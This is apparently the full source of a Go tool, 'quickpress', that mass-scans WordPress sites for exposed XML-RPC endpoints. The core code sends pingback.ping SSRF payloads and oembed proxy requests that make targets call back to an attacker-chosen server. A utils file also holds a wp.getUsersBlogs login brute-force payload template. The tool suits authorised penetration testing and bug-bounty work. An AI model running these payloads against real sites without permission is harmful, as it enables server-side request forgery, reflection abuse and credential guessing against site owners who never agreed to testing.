├── README.md ├── core └── req.go ├── go.mod ├── go.sum ├── quickpress ├── quickpress.go └── utils ├── banner.go ├── generate_hash.go └── xmls.go /README.md: -------------------------------------------------------------------------------- 1 | # quickpress 2 | 3 | Scan urls or a single URL against XMLRPC wordpress issues. 4 | 5 | usage: 6 | 7 | ##### Install 8 | 9 | ```bash 10 | 11 | $ go install github.com/incogbyte/quickpress@latest 12 | 13 | ``` 14 | Compiling by yourself 15 | 16 | ```bash 17 | git clone https://github.com/incogbyte/quickpress.git 18 | cd quickpress 19 | go build -o quickpress 20 | ./quickpress 21 | ``` 22 | 23 | ##### Usage 24 | 25 | * List of URLS 26 | 27 | ```bash 28 | # urls without / at the end of URL! 29 | cat urls.txt | quickpress -server http://burpcollaborator.net 30 | ``` 31 | 32 | * Single URL 33 | ```bash 34 | quickpress -target https://target.com -server http://burpcollaborator.net 35 | ``` 36 | 37 | -------------------------------------------------------------------------------- /core/req.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/tls" 7 | "fmt" 8 | "io/ioutil" 9 | "log" 10 | "net" 11 | "net/http" 12 | "os" 13 | "regexp" 14 | "strings" 15 | "sync" 16 | "time" 17 | 18 | "github.com/fatih/color" 19 | "github.com/incogbyte/quickpress/utils" 20 | ) 21 | 22 | const ua = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0)" 23 | 24 | // Scan struct 25 | type Scan struct { 26 | target string 27 | server string 28 | } 29 | 30 | // New Create constructor 31 | func New(t string, s string) *Scan { 32 | return &Scan{target: t, server: s} 33 | } 34 | 35 | func newClient() *http.Client { 36 | //tr = transport 37 | tr := &http.Transport{ 38 | MaxIdleConns: 30, 39 | IdleConnTimeout: time.Second, 40 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 41 | DialContext: (&net.Dialer{ 42 | Timeout: time.Second * 10, 43 | KeepAlive: time.Second, 44 | }).DialContext, 45 | } 46 | 47 | re := func(req *http.Request, via []*http.Request) error { 48 | return http.ErrUseLastResponse 49 | } 50 | 51 | return &http.Client{ 52 | Transport: tr, 53 | CheckRedirect: re, 54 | Timeout: time.Second * 10, 55 | } 56 | } 57 | 58 | // FromStdin test results from stdin 59 | func (s *Scan) FromStdin() { 60 | var wg sync.WaitGroup 61 | sc := bufio.NewScanner(os.Stdin) 62 | 63 | for sc.Scan() { 64 | rawURL := sc.Text() 65 | wg.Add(1) 66 | 67 | go func() { 68 | defer wg.Done() 69 | 70 | if s.IsAlive(rawURL) { 71 | s.VerifyMethods(rawURL) 72 | } 73 | }() 74 | } 75 | wg.Wait() 76 | } 77 | 78 | // IsAlive veirfy if xmlrpc is open 79 | func (s *Scan) IsAlive(url string) bool { 80 | 81 | cli := newClient() 82 | 83 | urlRequest := url + "/xmlrpc.php" 84 | fmt.Printf("[*] Verify [%s]\n", urlRequest) 85 | req, err := http.NewRequest("GET", urlRequest, nil) 86 | req.Header.Set("User-Agent", ua) 87 | req.Header.Set("X-Custom", "github.com/incogbyte") 88 | 89 | if err != nil { 90 | return false 91 | } 92 | 93 | resp, err := cli.Do(req) 94 | if err != nil { 95 | return false 96 | } 97 | 98 | if resp.StatusCode != 200 { 99 | fmt.Printf("[*] Target [%s] have a bad status code..[%d]\n", url, resp.StatusCode) 100 | } else { 101 | fmt.Printf("[*] Target [%s] have a cool status code [%d].\n", url, resp.StatusCode) 102 | } 103 | 104 | defer resp.Body.Close() 105 | 106 | body, err := ioutil.ReadAll(resp.Body) 107 | 108 | if err != nil { 109 | return false 110 | } 111 | 112 | responseBody := string(body) 113 | 114 | matchedString, err := regexp.MatchString(`XML-RPC server accepts POST requests only`, responseBody) 115 | 116 | if matchedString { 117 | return true 118 | } 119 | 120 | return false 121 | } 122 | 123 | // VerifyMethods verify methods xmlrpc 124 | func (s *Scan) VerifyMethods(url string) { 125 | 126 | urlReq := url + "/xmlrpc.php" 127 | cli := newClient() 128 | body := " system.listMethods " 129 | 130 | req, err := http.NewRequest("POST", urlReq, bytes.NewBuffer([]byte(body))) 131 | if err != nil { 132 | log.Println(err) 133 | } 134 | defer req.Body.Close() 135 | 136 | req.Header.Add("User-Agent", ua) 137 | req.Header.Add("Content-Type", "application/xml; charset=utf-8") 138 | 139 | res, err := cli.Do(req) 140 | if err != nil { 141 | log.Println(err) 142 | } 143 | 144 | bodyString, err := ioutil.ReadAll(res.Body) 145 | 146 | if err != nil { 147 | log.Println(err) 148 | } 149 | 150 | b := string(bodyString) 151 | 152 | matchedStringPing, err := regexp.MatchString(`(pingback.ping)`, b) 153 | if err != nil { 154 | log.Println(err) 155 | } 156 | 157 | if matchedStringPing { 158 | color.Magenta("[+] Pingback open at [%s]\n", url) 159 | 160 | } 161 | 162 | s.Ssrf(url) 163 | 164 | matchedStringBrute, err := regexp.MatchString(`(blogger.getUsersBlogs)`, b) 165 | 166 | if err != nil { 167 | log.Println(err) 168 | } 169 | 170 | if matchedStringBrute { 171 | color.Magenta("[+] blogger.getUsersBlogs open at [%s]\n", url) 172 | } 173 | 174 | } 175 | 176 | func parseTargetName(s string) string { 177 | if strings.Contains(s, "http://") { 178 | name := strings.ReplaceAll(s, "http://", "") 179 | return name 180 | } 181 | 182 | name := strings.ReplaceAll(s, "https://", "") 183 | return name 184 | } 185 | 186 | func removeLastSlash(s string) string { 187 | target := strings.TrimSuffix(s, "/") 188 | return target 189 | } 190 | 191 | // Ssrf testing ssrf if avaliable 192 | func (s *Scan) Ssrf(target string) { 193 | 194 | targetParsed := removeLastSlash(target) 195 | 196 | url := target + "/xmlrpc.php" 197 | 198 | name := parseTargetName(targetParsed) 199 | sv := parseTargetName(s.server) 200 | hash := utils.GenerateHashTracker() 201 | parsedServer := "https://" + name + "." + hash + "." + sv 202 | fmt.Println(parsedServer) 203 | 204 | xml := utils.SSRF 205 | 206 | replaceServer := strings.ReplaceAll(xml, "$SERVER$", parsedServer) 207 | replaceTarget := strings.ReplaceAll(replaceServer, "$TARGET$", targetParsed) 208 | 209 | body := replaceTarget 210 | 211 | fmt.Println(body) 212 | 213 | c := &http.Client{} 214 | req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(body))) 215 | if err != nil { 216 | log.Println(err) 217 | } 218 | defer req.Body.Close() 219 | 220 | req.Header.Add("User-Agent", ua) 221 | req.Header.Add("Content-Type", "application/xml; charset=utf-8") 222 | 223 | resp, err := c.Do(req) 224 | if err != nil { 225 | fmt.Println(err) 226 | } 227 | 228 | if resp.StatusCode == 200 { 229 | color.Yellow("[*] SSRF testing..\n") 230 | } 231 | color.Cyan("[+] SSRF TEST DONE at [%s]: verify at [%s] if a HTTP connection was recevied", targetParsed, s.server) 232 | 233 | } 234 | 235 | // ProxyTesting testing oem proxyng server 236 | func (s *Scan) ProxyTesting() { 237 | client := newClient() 238 | 239 | url := s.target + "/wp-json/oembed/1.0/proxy?url=" + s.server + "/incogbyte" 240 | 241 | req, err := http.NewRequest("GET", url, nil) 242 | req.Header.Set("User-Agent", ua) 243 | if err != nil { 244 | log.Println(err) 245 | } 246 | 247 | resp, err := client.Do(req) 248 | if err != nil { 249 | log.Println(err) 250 | } 251 | 252 | if resp.StatusCode == 200 { 253 | color.Cyan("[+] wp-json/oembed/1.0/proxy open, verify is a HTTP was recevied at your server..") 254 | } 255 | 256 | } 257 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/incogbyte/quickpress 2 | 3 | go 1.19 4 | 5 | require github.com/fatih/color v1.13.0 6 | 7 | require ( 8 | github.com/mattn/go-colorable v0.1.13 // indirect 9 | github.com/mattn/go-isatty v0.0.16 // indirect 10 | golang.org/x/sys v0.3.0 // indirect 11 | ) 12 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 3 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 4 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 5 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 6 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 7 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 8 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= 9 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 10 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 11 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 12 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 13 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 14 | golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ= 15 | golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 16 | -------------------------------------------------------------------------------- /quickpress: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/incogbyte/quickpress/0fde33fe6d095af2b3190279cec5a934fdb278ec/quickpress -------------------------------------------------------------------------------- /quickpress.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/incogbyte/quickpress/core" 9 | "github.com/incogbyte/quickpress/utils" 10 | ) 11 | 12 | func main() { 13 | banner := utils.UglyBanner() 14 | fmt.Println(banner) 15 | target := flag.String("target", "", "[-] (e.g: https://wordpress.site.com)") 16 | server := flag.String("server", "", "[-] (e.g: http://159.89.121.20 or http://mydomain.com") 17 | flag.Parse() 18 | 19 | serverUser := *server 20 | targetUser := *target 21 | 22 | if serverUser == "" { 23 | fmt.Println("[+] Server is required to test ssrf..") 24 | fmt.Println("./quickpress -server http://burpcollaborator.net") 25 | os.Exit(1) 26 | } 27 | 28 | targetStruct := core.New(targetUser, serverUser) 29 | 30 | //verify if data is from stdin 31 | file, _ := os.Stdin.Stat() 32 | if (file.Mode() & os.ModeCharDevice) == 0 { 33 | targetStruct.FromStdin() 34 | } else { 35 | if targetStruct.IsAlive(targetUser) { 36 | targetStruct.VerifyMethods(targetUser) 37 | } 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /utils/banner.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | const author string = " [+] Author: incogbyte\n" 4 | const version string = " [+] Version: 1.3\n\n" 5 | 6 | // UglyBanner banner 7 | func UglyBanner() string { 8 | 9 | var banner string = ` 10 | 11 | 12 | ██╗ ██╗███╗ ███╗██╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ 13 | ╚██╗██╔╝████╗ ████║██║ ██╔══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ 14 | ╚███╔╝ ██╔████╔██║██║ ██████╔╝██████╔╝██║█████╗███████╗██║ ███████║██╔██╗ ██║ 15 | ██╔██╗ ██║╚██╔╝██║██║ ██╔══██╗██╔═══╝ ██║╚════╝╚════██║██║ ██╔══██║██║╚██╗██║ 16 | ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║ ██║██║ ╚██████╗ ███████║╚██████╗██║ ██║██║ ╚████║ 17 | ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ 18 | 19 | 20 | ` 21 | returnBanner := banner + author + version 22 | return returnBanner 23 | } 24 | -------------------------------------------------------------------------------- /utils/generate_hash.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | ) 7 | 8 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 9 | 10 | func randSeq(n int) string { 11 | b := make([]rune, n) 12 | for i := range b { 13 | b[i] = letters[rand.Intn(len(letters))] 14 | } 15 | return string(b) 16 | } 17 | 18 | func GenerateHashTracker() string { 19 | rand.Seed(time.Now().UnixNano()) 20 | return randSeq(10) 21 | } 22 | -------------------------------------------------------------------------------- /utils/xmls.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | var SSRF string = ` 4 | 5 | pingback.ping 6 | 7 | 8 | $SERVER$ 9 | 10 | 11 | $TARGET$?p=1 12 | 13 | 14 | ` 15 | 16 | var BRUTE string = ` 17 | 18 | wp.getUsersBlogs 19 | 20 | [$login$] 21 | [$password$] 22 | 23 | 24 | ` 25 | 26 | var METHODS string = ` 27 | 28 | system.listMethods 29 | 30 | 31 | ` 32 | --------------------------------------------------------------------------------